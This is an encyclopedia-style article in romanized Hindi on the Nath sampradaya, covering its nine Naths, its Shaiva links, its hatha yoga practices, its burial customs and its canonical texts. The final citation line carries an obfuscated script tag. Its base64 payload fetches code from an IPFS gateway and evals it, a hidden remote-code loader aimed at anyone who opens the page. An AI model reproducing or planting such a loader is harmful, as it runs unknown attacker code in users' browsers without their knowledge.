नाथ सम्प्रदाय

nath sampraday ka uday yaugik kriyaoan ke uddhar ke lie hua tha. jab tantrikoan aur siddhoan ke chamatkar evan abhichar badanam ho gaye, mady, maans adi ke lie tatha siddh, tantrik adi stri-sambandhi acharoan ke karan ghrina ki drishti se dekhe jane lage tatha jab inaki yaugik kriyaean bhi mand p dane lagian, tab 'nath sampraday' ka uday hua. isamean nav nath mukhy kahe jate haian : 'gorakshanath', 'jvalendranath', 'karinanath', 'gahininath', 'charpatanath', 'revananath', 'naganath', 'bhartrinath' aur 'gopichandranath'. gorakshanath hi 'gorakhanath' ke nam se prasiddh haian.

any sampradayoan se sambandh

is sampraday ke parampara sansthapak adinath svayan shankar ke avatar mane jate haian. isaka sambandh raseshvaroan se hai aur isake anuyayi agamoan mean adisht yog sadhan karate haian. at: ise anek itihasayajn shaiv sampraday manate haian. parantu aur shaivoan ki tarah n to liangarchan karate haian aur n hi shivopasana ke aur aangoan ka nirvah karate haian. kintu ye tirth, devata adi ko manate haian. shiv mandir aur devi mandiroan mean darshanarth jate haian. kaila deviji tatha hiangalaj mata ke darshan visheshat: karate haian, jisase inaka shakt sambandh bhi spasht hai. yogi bhasm bhi ramate haian, parantu bhasm snan ka ek vishesh tatpary hai- jab ye log sharir mean shvas ka pravesh rok dete haian, to romakoopoan ko bhi bhasm se band kar dete haian. pranayam ki kriya mean yah mahatv ki yukti hai. phir bhi yah shuddh yogasadhana ka panth hai. isilie ise mahabharat kal ke yog sampraday ki parampara ke antargat manana chahie. visheshataya isilie ki pashupat sanpraday se isaka sambandh halka-sa hi dikh p data hai. sath hi yog sadhana isake adi, madhy aur ant mean hai. at: yah shaiv mat ka shuddh yog sampraday hai.

tatvik siddhant

is panth valoan ki yog sadhana patanjal vidhi ka vikasit roop hai. usaka darshanik aansh chho dakar hathayog ki kriya chho d dene se nathapanth ki yogakriya ho jati hai. nathapanth mean ‘oordhvareta’ ya akhand brahmachari hona sabase mahatv ki bat hai. maans-madyadi sabhi tamasik bhojanoan ka poora nishedh hai. yah panth chaurasi siddhoan ke tantrik vajrayan ka satvik roop mean paripalak pratit hota hai. unaka tatvik siddhant hai ki, paramatma ‘keval’ hai. usi paramatma tak pahuanchana moksh hai. jiv ka chahe usase jaisa sambandh mana jaye, parantu vyavaharik drishti se usase sammilan hi kaivaly moksh ya yog hai. isi jivan mean isaki anubhooti ho jae, panth ka yahi lakshy hai. is lakshy ki prapti ke lie pratham sidhi kaya ki sadhana hai. koee kaya ko shatru samajhakar bhaanti-bhaanti ke kasht deta hai aur koee vishayavasana mean lipt hokar use aniyantrit chho d deta hai. parantu nathapanthi kaya ko paramatma ka avas manakar usaki upayukt sadhana karata hai. kaya usake lie vah yantr hai, jisake dvara vah isi jivan mean mokshanubhooti kar leta hai. janm-maran jivan par poora adhikar kar leta hai, jara-maran-vyadhi aur kal par vijay pa leta hai.

is uddeshy ki prapti ke lie vah pahale kaya shodhan karata hai. isake lie vah yam, niyam ke sath hathayog ke shath karm (neti, dhauti, vasti, nauli, kapalabhati aur tratak) karata hai ki kaya shuddh ho jae. yah nathapanthiyoan ka apana avishkar nahian hai; hathayog par likhit ‘gherandasanhita’ namak prachin granth mean varnit sattvik yog pranali ka hi yah uddhar nathapanthiyoan ne kiya hai.

aant:kriya niyam

is mat mean shuddh hathayog tatha rajayog ki sadhanaean anushasit haian. yogasan, na di jnan, shatchakr niroopan tatha pranayam dvara samadhi ki prapti isake mukhy aang haian. sharirik pushti tatha panch mahabhootoan par vijay ki siddhi ke lie rasavidya ka bhi is mat mean ek vishesh sthan hai. is panth ke yogi ya to jivit samadhi lete haian ya phir sharir chho dane par unhean samadhi di jati hai. ve jalaye nahian jate. yah mana jata hai ki unaka sharir yog se hi shuddh ho jata hai, use jalane ki avashyakata nahian hoti hai.

pramanik granth

nathapanthi yogi alakh (alaksh) jagate haian. isi shabd se ishtadev ka dhyan karate haian aur isi se bhikshatan bhi karate haian. inake shishy guru ke alaksh kahane par ‘adesh’ kahakar sambodhan ka uttar dete haian. in mantroan ka lakshy vahi pranavaroopi param purush hai, jo vedoan aur upanishadoan ka dhyey hai. nathapanthi jin granthoan ko praman manate haian, unamean sabase prachin hathayog sambandhi granth 'gherandasanhita' aur 'shivasanhita' haian. gorakshanath krit hathayog, gorakshanath jnanamrit, gorakshakalp, gorakshasahasranam, chaturashityasan, yogachintamani, yogamahima, yogamartand, yogasiddhant paddhati, vivekamartand, siddh-siddhant paddhati, gorakhabodh, datt gorakh sanvad, gorakhanathaji ra pad, gorakhanath ke sphut granth, jnanasiddhant yog, jnanavikram, yogeshvari sakhi, naravaibodh, virahapuran aur gorakhasar granth bhi nath sampraday ke praman granth haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

hindoo dharmakosh |lekhak: d aau. rajabali pandey |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 358 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>